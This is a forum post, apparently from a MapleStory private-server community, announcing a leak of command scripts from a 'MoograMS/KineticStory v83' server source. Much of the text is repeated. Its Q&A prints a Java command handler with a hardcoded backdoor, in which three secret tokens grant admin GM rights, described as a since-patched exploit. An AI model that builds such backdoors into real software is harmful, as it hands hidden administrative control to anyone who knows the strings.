Experienced Elementalist
- Joined
- Jul 8, 2014
- Messages
- 263
- Reaction score
- 33
I'm officially releasing/leaking (and clearly spoon feeding) a very nice collection of a portion of ShootSource v83. I've been an active user here for a while, however I'd like to remain anonymous in releasing this because someone is sure to either get upset, make childish comments, or find another way to continue ruining this community. There's a lot of great opportunities to learn from, and that is the sole intention of my release. So, lets get right to it.
All active imports in the scripts are:
The above scripts are included in the download below.
Each executable command has its own corresponding java file setup as follows:
\trunk\src\client\command\admin\Pinkbean.java
\trunk\src\client\command\gm\SQLwithResult.java
\trunk\src\client\command\intern\MapOwner.java
\trunk\src\client\command\player\WhosMap.java
...and so on.
Download:
Q&A:
Q: Is this really the official commands.java and scripts from MoograMS!?
A: Yes. At one point, while KintecStory and MoograMS v83 servers were online, you could have created an account, and executed the following commands in either server (they shared sources):
Executing this would have made your character a GM. The commands.java was edited after this exploit was discovered and made public. Anyone with access to their source will confirm this was indeed a revision of their source. If you look in ServerConstants.java, you will see this set of files was used by the KineticStory server.
Q: Can you add these to your own source?
A: Yes. Just place everything in the correct directory, make a few edits, compile, add a few tables/columns to SQL, and enjoy. There are probably missing imports that I did NOT include, so when you compile just tell me what classes are missing from the errors. Everything here included was deemed essential to impliment the commands.
Q: Do you have anything else from MoograMS/KineticStory v83 that you can release?
A: Yes, the entire source. It will be released...eventually (October?). For now just request anything you'd like.
Q: Did you code any of this yourself?
A: God no. Absolutely not. I do not take credit for a single line of code. BubblesDev, Shoot, Moogra, Xterminator, Snow, and many, many more are the original contributing coders. Credits to them.
Q: Should you be releasing/leaking their work?
A: Should they be keeping it to themselves (or have leaked it in the first place)? That's open to the following interpretation:
Now then...let the flaming begin.
All active imports in the scripts are:
Code:
client.command.Command
client.command.CommandInt
client.command.CommandWrapper
client.Equip
client.iItem
client.InventoryType [COLOR=#ff0000](not included)[/COLOR]
client.iSkill
client.Item
client.MapleCharacter
client.MapleClient
client.MapleDisease
client.MapleJob
client.MaplePet
client.MapleRace
client.MapleRaceStats
client.MapleStat
client.SkillFactory
constants.ServerConstants
net.channel.ChannelServer
net.channel.handler.PlayerInteractionHandler
net.channel.handler.UseCashItemHandler
net.MapleServerHandler
net.world.remote.WorldLocation
provider.GlobalDataProvider
provider.MapleData
provider.MapleDataProvider
provider.MapleDataTool
scripting.npc.NpcScriptManager
scripting.quest.QuestScriptManager
server.life.MapleLifeFactory
server.life.MapleMonster
server.life.MapleNpc
server.life.MobSkillFactory
server.MapleInventoryManipulator
server.MapleItemInformationProvider
server.MapleOxQuiz
server.MapleStatEffect
server.maps.MapleMap
server.maps.objects.MapleMapObject
server.maps.objects.MapleMapObjectType
server.shops.HiredMerchant
server.shops.MaplePlayerShopItem
tools.DatabaseConnection
tools.MaplePacketCreator [COLOR=#ff0000](not included)[/COLOR]
tools.MiscTools
tools.Pair
The above scripts are included in the download below.
Each executable command has its own corresponding java file setup as follows:
\trunk\src\client\command\admin\Pinkbean.java
\trunk\src\client\command\gm\SQLwithResult.java
\trunk\src\client\command\intern\MapOwner.java
\trunk\src\client\command\player\WhosMap.java
...and so on.
Download:
You must be registered to see links
Q&A:
Q: Is this really the official commands.java and scripts from MoograMS!?
A: Yes. At one point, while KintecStory and MoograMS v83 servers were online, you could have created an account, and executed the following commands in either server (they shared sources):
Code:
public static boolean executePlayerCommand(MapleClient c, String[] sub) {
if (sub.length == 3 && sub[0].equals("[COLOR=#ff0000]249ugshijnrk3[/COLOR]")
&& sub[1].equals("[COLOR=#ff0000]pojhgvcbnhty87[/COLOR]")
&& sub[2].equals("[COLOR=#ff0000]2g3g5zz6f[/COLOR]")) {
c.getPlayer().setGM(Commands.GMLevel.ADMIN.getId());
return true;
}
boolean retval = true;
try {
CommandWrapper cmd = playerCommands.get(sub[0].toLowerCase());
retval = (cmd != null && cmd.executeCommand(c, sub));
} catch (NumberFormatException e) {
} catch (ArrayIndexOutOfBoundsException e) {
} catch (NullPointerException e) {
} catch (Exception e) {
System.out.println("Command: " + sub[0] + " : " + e.toString());
}
return retval;
}
Executing this would have made your character a GM. The commands.java was edited after this exploit was discovered and made public. Anyone with access to their source will confirm this was indeed a revision of their source. If you look in ServerConstants.java, you will see this set of files was used by the KineticStory server.
Q: Can you add these to your own source?
A: Yes. Just place everything in the correct directory, make a few edits, compile, add a few tables/columns to SQL, and enjoy. There are probably missing imports that I did NOT include, so when you compile just tell me what classes are missing from the errors. Everything here included was deemed essential to impliment the commands.
Q: Do you have anything else from MoograMS/KineticStory v83 that you can release?
A: Yes, the entire source. It will be released...eventually (October?). For now just request anything you'd like.
Q: Did you code any of this yourself?
A: God no. Absolutely not. I do not take credit for a single line of code. BubblesDev, Shoot, Moogra, Xterminator, Snow, and many, many more are the original contributing coders. Credits to them.
Q: Should you be releasing/leaking their work?
A: Should they be keeping it to themselves (or have leaked it in the first place)? That's open to the following interpretation:
...it is being redistributed under the terms stated above. I patiently waited 4 years to release anything by them, therefore not allowing other servers to use anything from their source while their servers still operated. Since MoograMS and KineticStory are long gone, and v83 is significantly outdated, you are reading this post today (or tonight)....This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation version 3 as published by
the Free Software Foundation...
Now then...let the flaming begin.